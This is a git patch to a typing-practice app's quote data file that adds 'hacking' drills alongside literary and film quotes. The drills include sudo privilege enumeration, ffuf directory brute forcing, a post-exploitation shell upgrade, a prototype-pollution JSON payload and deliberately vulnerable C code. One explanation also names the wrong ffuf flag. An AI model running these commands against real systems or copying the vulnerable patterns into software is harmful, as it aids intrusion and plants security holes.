From 5b1ea38522dbf6bf60db5a2270463de0c12d9de3 Mon Sep 17 00:00:00 2001 From: srdusr <99972264+srdusr@users.noreply.github.com> Date: Sun, 7 Dec 2025 20:38:00 +0200 Subject: Move the server to PostgreSQL, harden the lyrics proxy, add a hacking mode PostgreSQL - sqlx switched from the sqlite feature to postgres; the server now runs on Postgres 18 and the SQLite file is gone. - 95 placeholders renumbered from ? to $N. - REAL widened to DOUBLE PRECISION: Postgres REAL is float4 and will not decode into the f64 the code reads. - flagged and is_bot are real BOOLEANs rather than 0/1 integers, with the decode side reading bool. - The leaderboard's derived table gained the alias Postgres requires, its flag comparisons became boolean predicates, and INSERT OR IGNORE became ON CONFLICT DO NOTHING. - u32 binds cast to i64; Postgres has no unsigned integer types. - Integration tests run against a real database - Postgres has no in-memory mode - each in a throwaway schema, with search_path set per connection because it is session state and the pool opens more than one. - Timestamps stay TEXT for now and LISTEN/NOTIFY is still unused; both are recorded in TODO-postgres.md rather than left implied. Custom text and lyrics, checked rather than assumed - Custom files never reach the server: they are read in the browser through the File API, so there is no upload, no path handling and no remote file inclusion to have. Verified by driving a hostile file - markup in the body and in the filename - all the way onto the typing screen: it renders as literal characters, no nodes are created, nothing executes, and the filename is escaped in the attribution too. - That test found a real regression: picking Custom from the new mode picker selected it without ever starting it, so the mode was unstartable. - /api/lyrics fixes its upstream host, so it cannot be pointed elsewhere, but it was an unbounded relay: now rate limited per IP, with length caps on artist and track and a ceiling on the response body it will read. Hacking mode - 22 single-line drills across recon, web, memory safety, exploit development, crypto, post-exploitation and defence, each syntax highlighted and each explaining what the line actually does. All 19 modes verified to start, render and be typable. --- web/src/data/texts.json | 1480 ++++++++++++++++++++++++++--------------------- 1 file changed, 817 insertions(+), 663 deletions(-) (limited to 'web/src/data') diff --git a/web/src/data/texts.json b/web/src/data/texts.json index 931151b..b659440 100644 --- a/web/src/data/texts.json +++ b/web/src/data/texts.json @@ -1,35 +1,75 @@ [ + { + "category": "business", + "content": "Supply and demand describes how the price of a good tends to rise when demand exceeds supply, and fall when supply exceeds demand.", + "attribution": "Business" + }, { "category": "literature", - "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.", - "attribution": "Charles Dickens, A Tale of Two Cities" + "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.", + "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea" + }, + { + "category": "technology", + "content": "Moore's Law observed that the number of transistors on a computer chip tends to double roughly every two years, driving decades of rapid improvement in computing power.", + "attribution": "Technology" + }, + { + "category": "hacking", + "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'", + "attribution": "Post-exploitation", + "language": "shell", + "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root." + }, + { + "category": "programming", + "content": "let mut counts: HashMap = HashMap::new();", + "attribution": "Rust", + "language": "rust", + "explanation": "mut because inserting mutates it. The type annotation is needed here since nothing yet tells the compiler what it holds." }, { "category": "business", - "content": "A monopoly exists when a single company dominates an entire market with no significant competition, often leading regulators to intervene to protect consumers.", - "attribution": "Business" + "content": "The purpose of a business is to create and keep a customer.", + "attribution": "Peter Drucker" }, { - "category": "movies", - "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.", - "attribution": "The Usual Suspects (1995)" + "category": "hacking", + "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403", + "attribution": "Web", + "language": "shell", + "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories." }, { "category": "anime", - "content": "A lesson without pain is meaningless. That's because you cannot gain something without sacrificing something else in return.", - "attribution": "Fullmetal Alchemist" + "content": "Don't believe in yourself. Believe in me who believes in you.", + "attribution": "Gurren Lagann" }, { - "category": "general", - "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size.", - "attribution": "General knowledge" + "category": "history", + "content": "The Roman Empire at its height stretched from Britain in the north to Egypt in the south, connected by a vast network of roads that still exist in parts of Europe today.", + "attribution": "History" + }, + { + "category": "hacking", + "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text", + "attribution": "Crypto", + "language": "shell", + "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning." }, { "category": "programming", - "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)", + "content": "try: value = int(raw) except ValueError: value = 0", "attribution": "Python", "language": "python", - "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly." + "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt." + }, + { + "category": "hacking", + "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */", + "attribution": "Memory safety", + "language": "clike", + "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it." }, { "category": "philosophy", @@ -37,510 +77,535 @@ "attribution": "Philosophy" }, { - "category": "business", - "content": "Diversification spreads investment risk across different assets, so that a poor outcome in one area does not sink an entire portfolio.", - "attribution": "Business" + "category": "movies", + "content": "I love the smell of napalm in the morning.", + "attribution": "Apocalypse Now (1979)" }, { - "category": "programming", - "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }", - "attribution": "C", - "language": "clike", - "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array." + "category": "nature", + "content": "A single mature tree can absorb around twenty two kilograms of carbon dioxide per year, making forests an important part of regulating the planet's climate.", + "attribution": "Nature" }, { - "category": "literature", - "content": "The Time Traveller, for so it will be convenient to speak of him, was expounding a recondite matter to us. His grey eyes shone and twinkled, and his usually pale face was flushed and animated.", - "attribution": "H.G. Wells, The Time Machine" + "category": "nature", + "content": "The Amazon rainforest is home to an estimated ten percent of all known species on Earth, making it one of the most biodiverse regions on the planet.", + "attribution": "Nature" }, { - "category": "movies", - "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.", - "attribution": "Jurassic Park (1993)" + "category": "science", + "content": "Evolution by natural selection describes how organisms with traits better suited to their environment tend to survive and reproduce more successfully, gradually shaping a population over many generations.", + "attribution": "Science, after Charles Darwin" }, { - "category": "literature", - "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.", - "attribution": "Nathaniel Hawthorne, The Scarlet Letter" + "category": "nature", + "content": "Coral reefs cover less than one percent of the ocean floor, yet they support roughly a quarter of all marine species.", + "attribution": "Nature" }, { "category": "movies", - "content": "Oh, what a day. What a lovely day!", - "attribution": "Mad Max: Fury Road (2015)" + "content": "If you could see your whole life laid out in front of you, would you change things?", + "attribution": "Arrival (2016)" }, { - "category": "business", - "content": "Supply and demand describes how the price of a good tends to rise when demand exceeds supply, and fall when supply exceeds demand.", - "attribution": "Business" + "category": "literature", + "content": "Call me Ishmael. Some years ago, never mind how long precisely, having little or no money in my purse, and nothing particular to interest me on shore, I thought I would sail about a little and see the watery part of the world.", + "attribution": "Herman Melville, Moby-Dick" }, { - "category": "nature", - "content": "A rainforest canopy can be so dense that less than two percent of sunlight reaches the forest floor below.", - "attribution": "Nature" + "category": "philosophy", + "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions.", + "attribution": "Philosophy" }, { - "category": "anime", - "content": "If you win, you live. If you lose, you die. If you don't fight, you can't win.", - "attribution": "Attack on Titan" + "category": "history", + "content": "The Silk Road was not a single road but a network of trade routes connecting China to the Mediterranean, carrying silk, spices, and ideas across the ancient world.", + "attribution": "History" }, { - "category": "anime", - "content": "We fear that which we cannot see.", - "attribution": "Bleach" + "category": "movies", + "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.", + "attribution": "The Silence of the Lambs (1991)" }, { "category": "literature", - "content": "The year 1866 was signalised by a remarkable incident, a mysterious and inexplicable phenomenon, which doubtless no one has yet forgotten. Ships had met with a huge thing, a long object, spindle-shaped, and at times phosphorescent.", - "attribution": "Jules Verne, Twenty Thousand Leagues Under the Sea" + "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.", + "attribution": "Nathaniel Hawthorne, The Scarlet Letter" }, { - "category": "programming", - "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing", - "attribution": "Shell", + "category": "hacking", + "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'", + "attribution": "Defence", "language": "shell", - "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed." + "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here." }, { - "category": "movies", - "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.", - "attribution": "The Matrix (1999)" - }, - { - "category": "business", - "content": "Market research helps a business understand its customers' needs and preferences before committing resources to a new product or service.", - "attribution": "Business" + "category": "anime", + "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.", + "attribution": "Vinland Saga" }, { "category": "technology", - "content": "The transistor, invented in 1947, replaced bulky vacuum tubes and became the foundational building block of nearly every modern electronic device.", + "content": "A central processing unit executes the instructions of a computer program by performing basic arithmetic, logic, and input and output operations.", "attribution": "Technology" }, { - "category": "business", - "content": "A merger combines two companies into one, while an acquisition occurs when one company purchases and absorbs another, though the two terms are often used loosely in everyday conversation.", - "attribution": "Business" + "category": "anime", + "content": "Hard work is worthless for those that don't believe in themselves.", + "attribution": "Naruto" }, { - "category": "movies", - "content": "I am big. It's the pictures that got small.", - "attribution": "Sunset Boulevard (1950)" + "category": "general", + "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp.", + "attribution": "General knowledge" }, { "category": "movies", - "content": "We used to look up at the sky and wonder at our place in the stars. Now we just look down and worry about our place in the dirt.", - "attribution": "Interstellar (2014)" - }, - { - "category": "science", - "content": "Photosynthesis is the process by which plants convert light energy into chemical energy, using carbon dioxide and water to produce glucose and release oxygen as a byproduct.", - "attribution": "Science" + "content": "Of all the gin joints in all the towns in all the world, she walks into mine.", + "attribution": "Casablanca (1942)" }, { - "category": "general", - "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth.", - "attribution": "General knowledge" + "category": "philosophy", + "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically.", + "attribution": "Philosophy" }, { - "category": "science", - "content": "Evolution by natural selection describes how organisms with traits better suited to their environment tend to survive and reproduce more successfully, gradually shaping a population over many generations.", - "attribution": "Science, after Charles Darwin" + "category": "movies", + "content": "You're gonna need a bigger boat.", + "attribution": "Jaws (1975)" }, { - "category": "movies", - "content": "I'm gonna make him an offer he can't refuse.", - "attribution": "The Godfather (1972)" + "category": "history", + "content": "The fall of the Berlin Wall in 1989 marked a turning point in the Cold War, as East and West Germany moved toward reunification the following year.", + "attribution": "History" }, { - "category": "anime", - "content": "Overspecialize, and you breed in weakness. It's slow death.", - "attribution": "Ghost in the Shell" + "category": "philosophy", + "content": "It's not what happens to you, but how you react to it that matters.", + "attribution": "Epictetus" }, { - "category": "anime", - "content": "Whatever happens, happens.", - "attribution": "Cowboy Bebop" + "category": "science", + "content": "Mitochondria convert nutrients into a usable form of energy for the cell, which is why biology textbooks often call them the powerhouse of the cell.", + "attribution": "Science" }, { "category": "business", - "content": "A balance sheet summarizes what a company owns and owes at a single point in time, split into assets, liabilities, and shareholders' equity.", - "attribution": "Business" + "content": "Henry Ford, founder of the Ford Motor Company, is credited with popularizing the moving assembly line, which dramatically reduced the time needed to build an automobile.", + "attribution": "History of Business" }, { - "category": "movies", - "content": "With great power comes great responsibility.", - "attribution": "Spider-Man (2002)" + "category": "hacking", + "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'", + "attribution": "Post-exploitation", + "language": "shell", + "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working." }, { - "category": "literature", - "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.", - "attribution": "F. Scott Fitzgerald, The Great Gatsby" + "category": "nature", + "content": "Bees pollinate roughly a third of the crops humans rely on for food, making them essential to global agriculture despite their small size.", + "attribution": "Nature" }, { - "category": "technology", - "content": "Moore's Law observed that the number of transistors on a computer chip tends to double roughly every two years, driving decades of rapid improvement in computing power.", - "attribution": "Technology" + "category": "anime", + "content": "When people are protecting something truly special to them, they truly can become as strong as they can be.", + "attribution": "Naruto" }, { - "category": "philosophy", - "content": "It is not that we have a short time to live, but that we waste a lot of it.", - "attribution": "Seneca, On the Shortness of Life" + "category": "history", + "content": "The signing of the Magna Carta in 1215 limited the power of the English king and established the principle that even a monarch was subject to the law.", + "attribution": "History" }, { - "category": "anime", - "content": "Hard work is worthless for those that don't believe in themselves.", - "attribution": "Naruto" + "category": "business", + "content": "Customer obsession, rather than competitor focus, is the surest path to long term success.", + "attribution": "Jeff Bezos" }, { "category": "anime", - "content": "If you don't take risks, you can't create a future.", - "attribution": "One Piece" + "content": "No matter how much I struggle, there's always a price to pay for changing the past.", + "attribution": "Steins;Gate" }, { - "category": "nature", - "content": "Deserts are defined by low precipitation rather than temperature, which is why some of the coldest places on Earth, including parts of Antarctica, are technically deserts.", - "attribution": "Nature" + "category": "anime", + "content": "Whatever happens, happens.", + "attribution": "Cowboy Bebop" }, { - "category": "business", - "content": "Return on investment measures the profitability of an investment relative to its cost, expressed as a percentage to make it easy to compare different opportunities.", - "attribution": "Business" + "category": "movies", + "content": "You either die a hero, or you live long enough to see yourself become the villain.", + "attribution": "The Dark Knight (2008)" }, { "category": "anime", - "content": "A heart's a heavy burden.", - "attribution": "Howl's Moving Castle" + "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.", + "attribution": "Fullmetal Alchemist" }, { - "category": "technology", - "content": "Fiber optic cables transmit data as pulses of light through thin strands of glass, allowing information to travel at extremely high speeds over long distances.", - "attribution": "Technology" + "category": "programming", + "content": "export PATH=\"$HOME/.local/bin:$PATH\" && command -v rg >/dev/null || echo missing", + "attribution": "Shell", + "language": "shell", + "explanation": "Prepending puts your own binaries ahead of the system ones. command -v is the portable test for whether something is installed." }, { - "category": "history", - "content": "The signing of the Magna Carta in 1215 limited the power of the English king and established the principle that even a monarch was subject to the law.", - "attribution": "History" + "category": "quotes", + "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.", + "attribution": "Frederick Douglass" }, { "category": "science", - "content": "DNA carries the genetic instructions for every living organism, encoded in a sequence of four chemical bases that pair together to form the famous double helix shape.", + "content": "The theory of plate tectonics explains how the Earth's outer shell is broken into large plates that slowly drift over the mantle, causing earthquakes, volcanoes, and mountain formation.", "attribution": "Science" }, { - "category": "quotes", - "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.", - "attribution": "Theodore Roosevelt, Citizenship in a Republic" - }, - { - "category": "quotes", - "content": "It always seems impossible until it's done.", - "attribution": "Nelson Mandela" + "category": "programming", + "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));", + "attribution": "JavaScript", + "language": "javascript", + "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it." }, { "category": "general", - "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp.", + "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north.", "attribution": "General knowledge" }, { - "category": "quotes", - "content": "You have power over your mind, not outside events. Realize this, and you will find strength.", - "attribution": "Marcus Aurelius, Meditations" + "category": "business", + "content": "Diversification spreads investment risk across different assets, so that a poor outcome in one area does not sink an entire portfolio.", + "attribution": "Business" }, { - "category": "movies", - "content": "What we've got here is failure to communicate.", - "attribution": "Cool Hand Luke (1967)" + "category": "hacking", + "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'", + "attribution": "Defence", + "language": "shell", + "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed." }, { - "category": "philosophy", - "content": "Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control.", - "attribution": "Philosophy" + "category": "literature", + "content": "All we have to decide is what to do with the time that is given us.", + "attribution": "J.R.R. Tolkien, The Fellowship of the Ring" }, { - "category": "history", - "content": "The Cold War divided much of the world into two opposing blocs for nearly half a century, one aligned with the United States and the other with the Soviet Union.", - "attribution": "History" + "category": "science", + "content": "The human body contains roughly thirty seven trillion cells, each one specialized to carry out one of hundreds of different jobs inside the body.", + "attribution": "Science" }, { - "category": "history", - "content": "The Renaissance began in Italy in the fourteenth century, sparking a renewed interest in classical art, science, and learning that eventually spread across Europe.", - "attribution": "History" + "category": "anime", + "content": "The only thing we're allowed to do is to believe that we won't regret the choice we made.", + "attribution": "Attack on Titan" }, { - "category": "technology", - "content": "Open source software is released with its source code publicly available, allowing anyone to view, modify, and distribute it under the terms of its license.", - "attribution": "Technology" + "category": "nature", + "content": "Rivers shape the landscape around them over thousands of years, carving canyons and depositing sediment that forms fertile floodplains.", + "attribution": "Nature" }, { "category": "anime", - "content": "When do you think people die? When they are forgotten.", - "attribution": "One Piece" + "content": "Once you've met someone, you never really forget them.", + "attribution": "Spirited Away" }, { - "category": "technology", - "content": "Cloud computing allows businesses and individuals to rent computing power and storage over the internet instead of maintaining their own physical servers.", - "attribution": "Technology" + "category": "nature", + "content": "The world is big and I want to have a good look at it before it gets dark.", + "attribution": "John Muir" }, { - "category": "science", - "content": "Mitochondria convert nutrients into a usable form of energy for the cell, which is why biology textbooks often call them the powerhouse of the cell.", - "attribution": "Science" + "category": "general", + "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun.", + "attribution": "General knowledge" }, { - "category": "business", - "content": "Customer obsession, rather than competitor focus, is the surest path to long term success.", - "attribution": "Jeff Bezos" + "category": "history", + "content": "I will fight no more forever.", + "attribution": "Chief Joseph, Nez Perce, 1877" }, { - "category": "anime", - "content": "This world is rotten, and those who are making it rot deserve to die.", - "attribution": "Death Note" + "category": "technology", + "content": "Artificial intelligence refers to computer systems designed to perform tasks that normally require human intelligence, such as recognizing speech, images, or patterns in data.", + "attribution": "Technology" }, { "category": "movies", - "content": "I love the smell of napalm in the morning.", - "attribution": "Apocalypse Now (1979)" + "content": "There's no crying in baseball.", + "attribution": "A League of Their Own (1992)" }, { - "category": "business", - "content": "Branding is the practice of shaping how customers perceive a company, going beyond a logo to include tone, values, and the overall experience of using a product.", - "attribution": "Business" + "category": "nature", + "content": "Heaven is under our feet as well as over our heads.", + "attribution": "Henry David Thoreau, Walden" + }, + { + "category": "technology", + "content": "Open source software is released with its source code publicly available, allowing anyone to view, modify, and distribute it under the terms of its license.", + "attribution": "Technology" }, { "category": "literature", - "content": "It was the best of times, it was the worst of times.", - "attribution": "Charles Dickens, A Tale of Two Cities" + "content": "Christmas won't be Christmas without any presents, grumbled Jo, lying on the rug. It's so dreadful to be poor, sighed Meg, looking down at her old dress.", + "attribution": "Louisa May Alcott, Little Women" }, { - "category": "nature", - "content": "The Amazon rainforest is home to an estimated ten percent of all known species on Earth, making it one of the most biodiverse regions on the planet.", - "attribution": "Nature" + "category": "movies", + "content": "Oh, what a day. What a lovely day!", + "attribution": "Mad Max: Fury Road (2015)" }, { "category": "philosophy", - "content": "The only true wisdom is in knowing you know nothing.", - "attribution": "Socrates" + "content": "Stoicism is a school of ancient Greek philosophy that teaches the practice of virtue as the only true good, and encourages focusing only on what lies within one's own control.", + "attribution": "Philosophy" }, { - "category": "anime", - "content": "Even if you can't see it, the river keeps flowing under the ice.", - "attribution": "March Comes in Like a Lion" + "category": "general", + "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth.", + "attribution": "General knowledge" }, { - "category": "technology", - "content": "A blockchain is a distributed ledger that records transactions across many computers, making it difficult to alter any single record without changing every subsequent block.", - "attribution": "Technology" + "category": "movies", + "content": "All those moments will be lost in time, like tears in rain. Time to die.", + "attribution": "Blade Runner (1982)" }, { - "category": "movies", - "content": "I'm as mad as hell, and I'm not going to take this anymore.", - "attribution": "Network (1976)" + "category": "anime", + "content": "Anywhere can be paradise as long as you have the will to live.", + "attribution": "Neon Genesis Evangelion" }, { - "category": "programming", - "content": "if (typeof value !== 'string' || value.length === 0) { return null; }", - "attribution": "JavaScript", - "language": "javascript", - "explanation": "A guard clause: reject the bad input first and return, instead of nesting the real work inside an if." + "category": "history", + "content": "The Great Depression of the 1930s began with the stock market crash of 1929 and led to widespread unemployment and economic hardship across the globe.", + "attribution": "History" }, { "category": "anime", - "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.", - "attribution": "Hunter x Hunter" + "content": "When you look at someone's kindness, it's like looking at the sun.", + "attribution": "Fruits Basket" }, { - "category": "anime", - "content": "You have no enemies. Nobody has any enemies. There is nobody that you should hurt.", - "attribution": "Vinland Saga" + "category": "philosophy", + "content": "It does not matter how slowly you go as long as you do not stop.", + "attribution": "Confucius, Analects" }, { - "category": "history", - "content": "I will fight no more forever.", - "attribution": "Chief Joseph, Nez Perce, 1877" + "category": "general", + "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron.", + "attribution": "General knowledge" }, { "category": "literature", - "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.", - "attribution": "Mark Twain, Adventures of Huckleberry Finn" + "content": "In my younger and more vulnerable years my father gave me some advice that I've been turning over in my mind ever since. Whenever you feel like criticizing anyone, he told me, just remember that all the people in this world haven't had the advantages that you've had.", + "attribution": "F. Scott Fitzgerald, The Great Gatsby" }, { "category": "programming", - "content": "const unique = [...new Set(values)].sort((a, b) => a - b);", + "content": "const total = items.reduce((acc, item) => acc + item.price, 0);", "attribution": "JavaScript", "language": "javascript", - "explanation": "A Set discards duplicates. Spreading it back to an array allows sorting; the comparator is required or numbers sort as text." + "explanation": "reduce walks the array carrying a running value. The 0 is the starting total; drop it and an empty array throws." }, { - "category": "science", - "content": "Marie Curie remains the only person to win Nobel Prizes in two different sciences, physics and chemistry, for her pioneering research into radioactivity.", - "attribution": "Science" + "category": "literature", + "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.", + "attribution": "Joseph Conrad, Heart of Darkness" }, { - "category": "technology", - "content": "Machine learning is a branch of artificial intelligence in which a system improves its performance on a task by learning patterns from data rather than following explicit instructions.", - "attribution": "Technology" + "category": "business", + "content": "Market research helps a business understand its customers' needs and preferences before committing resources to a new product or service.", + "attribution": "Business" }, { - "category": "philosophy", - "content": "The beginning is the most important part of the work.", - "attribution": "Plato, The Republic" + "category": "literature", + "content": "There was no possibility of taking a walk that day. We had been wandering, indeed, in the leafless shrubbery an hour in the morning, but since dinner the cold winter wind had brought with it clouds so sombre, and a rain so penetrating.", + "attribution": "Charlotte Bronte, Jane Eyre" }, { - "category": "business", - "content": "Henry Ford, founder of the Ford Motor Company, is credited with popularizing the moving assembly line, which dramatically reduced the time needed to build an automobile.", - "attribution": "History of Business" + "category": "technology", + "content": "Quantum computing uses the principles of quantum mechanics to process information in ways that classical computers cannot, potentially solving certain problems far faster.", + "attribution": "Technology" }, { - "category": "general", - "content": "The quick brown fox jumps over the lazy dog.", - "attribution": "Traditional pangram" + "category": "movies", + "content": "What we've got here is failure to communicate.", + "attribution": "Cool Hand Luke (1967)" }, { "category": "nature", - "content": "The deepest part of the ocean, the Mariana Trench, plunges nearly eleven kilometers below the surface, deeper than Mount Everest is tall.", + "content": "A rainforest canopy can be so dense that less than two percent of sunlight reaches the forest floor below.", "attribution": "Nature" }, { - "category": "programming", - "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }", - "attribution": "Rust", - "language": "rust", - "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct." + "category": "history", + "content": "The Industrial Revolution transformed economies across Europe and North America during the eighteenth and nineteenth centuries, shifting production from hand tools to machines.", + "attribution": "History" }, { - "category": "programming", - "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }", - "attribution": "Rust", - "language": "rust", - "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled." + "category": "quotes", + "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.", + "attribution": "Abraham Lincoln, The Gettysburg Address" }, { "category": "technology", - "content": "Robotics combines mechanical engineering, electronics, and computer science to design machines capable of performing tasks autonomously or with minimal human control.", + "content": "Machine learning is a branch of artificial intelligence in which a system improves its performance on a task by learning patterns from data rather than following explicit instructions.", "attribution": "Technology" }, { - "category": "literature", - "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.", - "attribution": "Bram Stoker, Dracula" - }, - { - "category": "movies", - "content": "There's no crying in baseball.", - "attribution": "A League of Their Own (1992)" - }, - { - "category": "quotes", - "content": "Stay hungry, stay foolish.", - "attribution": "Steve Jobs" + "category": "hacking", + "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */", + "attribution": "Memory safety", + "language": "clike", + "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger." }, { "category": "general", - "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone.", + "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface.", "attribution": "General knowledge" }, { - "category": "history", - "content": "The Apollo 11 mission landed the first humans on the Moon in July of 1969, when astronauts Neil Armstrong and Buzz Aldrin walked on the lunar surface.", - "attribution": "History" + "category": "anime", + "content": "We fear that which we cannot see.", + "attribution": "Bleach" }, { - "category": "movies", - "content": "Get busy living, or get busy dying.", - "attribution": "The Shawshank Redemption (1994)" + "category": "anime", + "content": "I feel like I'm always searching for someone, or something.", + "attribution": "Your Name" }, { "category": "programming", - "content": "fn main() { println!(\"{}\", args().skip(1).collect::>().join(\" \")); }", - "attribution": "Rust", - "language": "rust", - "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type." + "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;", + "attribution": "C", + "language": "clike", + "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms." }, { - "category": "quotes", - "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.", - "attribution": "Frederick Douglass" + "category": "philosophy", + "content": "Waste no more time arguing about what a good man should be. Be one.", + "attribution": "Marcus Aurelius, Meditations" }, { - "category": "movies", - "content": "You're gonna need a bigger boat.", - "attribution": "Jaws (1975)" + "category": "programming", + "content": "for f in *.log; do gzip -9 \"$f\" && echo \"packed $f\"; done", + "attribution": "Shell", + "language": "shell", + "explanation": "The quotes around $f matter: without them a filename containing a space becomes two arguments." }, { - "category": "science", - "content": "Genetics research has shown that humans share about ninety-nine percent of their DNA with chimpanzees, the closest living relative to our species.", - "attribution": "Science" - }, - { - "category": "programming", - "content": "document.querySelectorAll('.row').forEach(el => el.classList.toggle('active'));", - "attribution": "JavaScript", - "language": "javascript", - "explanation": "querySelectorAll returns a static NodeList, so it will not change as you mutate the elements in it." + "category": "anime", + "content": "A heart's a heavy burden.", + "attribution": "Howl's Moving Castle" }, { - "category": "programming", - "content": "const { id, name = 'anonymous', ...rest } = await request.json();", - "attribution": "JavaScript", - "language": "javascript", - "explanation": "Destructuring with a default and a rest property. The default applies only when the value is undefined, not when it is null." + "category": "anime", + "content": "If you don't take risks, you can't create a future.", + "attribution": "One Piece" }, { - "category": "history", - "content": "The Wright brothers achieved the first powered, controlled flight in 1903 near Kitty Hawk, North Carolina, a flight that lasted only twelve seconds.", - "attribution": "History" + "category": "literature", + "content": "My father's family name being Pirrip, and my Christian name Philip, my infant tongue could make of both names nothing longer or more explicit than Pip. So, I called myself Pip, and came to be called Pip.", + "attribution": "Charles Dickens, Great Expectations" }, { - "category": "history", - "content": "The Silk Road was not a single road but a network of trade routes connecting China to the Mediterranean, carrying silk, spices, and ideas across the ancient world.", - "attribution": "History" + "category": "hacking", + "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT", + "attribution": "Defence", + "language": "shell", + "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing." }, { - "category": "technology", - "content": "The World Wide Web was invented by Tim Berners-Lee in 1989 as a way to share documents over the internet using hyperlinks.", - "attribution": "Technology" + "category": "hacking", + "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')", + "attribution": "Web", + "language": "javascript", + 